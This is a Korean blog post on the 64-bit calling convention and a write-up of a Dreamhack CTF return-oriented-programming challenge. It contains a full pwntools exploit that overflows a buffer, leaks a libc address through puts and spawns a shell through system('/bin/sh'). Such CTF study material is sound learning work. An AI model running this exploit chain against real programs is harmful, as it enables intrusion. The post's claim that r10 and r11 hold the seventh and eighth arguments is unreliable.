반응형
Notice
Recent Posts
Recent Comments
Link
안 쓰던 블로그
64bit ROP 본문
반응형
64bit의 인자
32bit 아키텍쳐에서는 함수 호출시 인자를 스택에 저장했다
64bit에서는 함수의 인자를 레지스터 6개와 스택에 저장한다
인자를 저장하는 순서는 다음과 같다
---레지스터---
rdi: 첫 번째
rsi: 두 번째
rdx: 세 번째
rcx: 네 번째
r8: 다섯 번째
r9: 여섯 번째
---스택---
r10(%rsp): 일곱 번째
r11, 0x8(%rsp): 여덟 번째
...
예를 들어 만약에 이런 printf코드가 있을 때
printf("%d %d %d %d %d %d", 1,2,3,4,5,6);
gdb로 디스어셈블한 결과는 아래처럼 된다
...
push 0x6 #7번 인자, 스택에 저장
mov r9d, 0x5 #6번 인자
mov r8d, 0x4 #5번 인자
mov ecx, 0x3 #4번 인자
mov edx, 0x2 #3번 인자
mov esi, 0x1 #2번 인자
mov edi, 0x4005f4 #1번 인자, printf주소값
...
그리고 printf를 x/s 0x4005f4 로 다시 보면
0x4005f4: "%d %d %d %d %d %d"
이런 식으로 뜬다
64bit ROP
드림핵 basic_rop_x64
40크기의 배열에 400만큼 입력받는 버퍼오버플로우 문제
payload = "A"*0x40 #BUF
payload += p64(1) #SFP 8bite
#payload += p64() #RET (64bit function gyuyack)
payload += p64(addr_prdi) #RET
payload+=p64(0x601028) #alarm
payload+=p64(binf.plt['puts'])
payload+=p64(binf.symbols['main'])
40만큼 더미 값에 64비트니까 8바이트 더하고, pop rdi 주소를 보낸다
RET값을 원하는 함수 주소로 덮고 puts를 호출해서 넘긴다
그리고 다시 main을 호출해서 main으로 되돌아 간다
#!/usr/bin/env python
from pwn import *
p = process("./chall")
binf = ELF("./chall")
addr_prdi = 0x00400883
#pause()
payload = "A"*0x40 #BUF
payload += p64(1) #SFP 8bite
#payload += p64() #RET (64bit function gyuyack)
payload += p64(addr_prdi) #RET
payload+=p64(0x601028) #alarm
payload+=p64(binf.plt['puts'])
payload+=p64(binf.symbols['main'])
p.send(payload)
libc_alarm = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
u64 8바이트
recv는 6바이트
recv는 대부분 주소 7f로 시작함
6바이트 다 가져옴 -6으로
마지막 00바이트를 추가
libc_base = libc_alarm - 0xcb2d0
libc_system = libc_base +0x48e20
libc_binsh = libc_base +0x18a143
success(hex(libc_alarm))
success(hex(libc_base))
success(hex(libc_system))
#p.send("A"*(0x40+0x8)+p64(libc_binsh))
payload = "A"*0x40
payload+=p64(1)
payload+=p64(addr_prdi)
payload+=p64(libc_binsh)
payload+=p64(libc_system)
p.send(payload)
p.recv()
p.interactive()
반응형
'CTF > Pwnable' 카테고리의 다른 글
sint (bof) 문제 풀이 (1) | 2021.03.20 |
---|---|
pop rdi (0) | 2020.12.30 |
64it ROP (0) | 2020.11.28 |
32bit ROP (0) | 2020.11.10 |
32bit와 64bit - x86과 x64 비교 (0) | 2020.10.13 |
Comments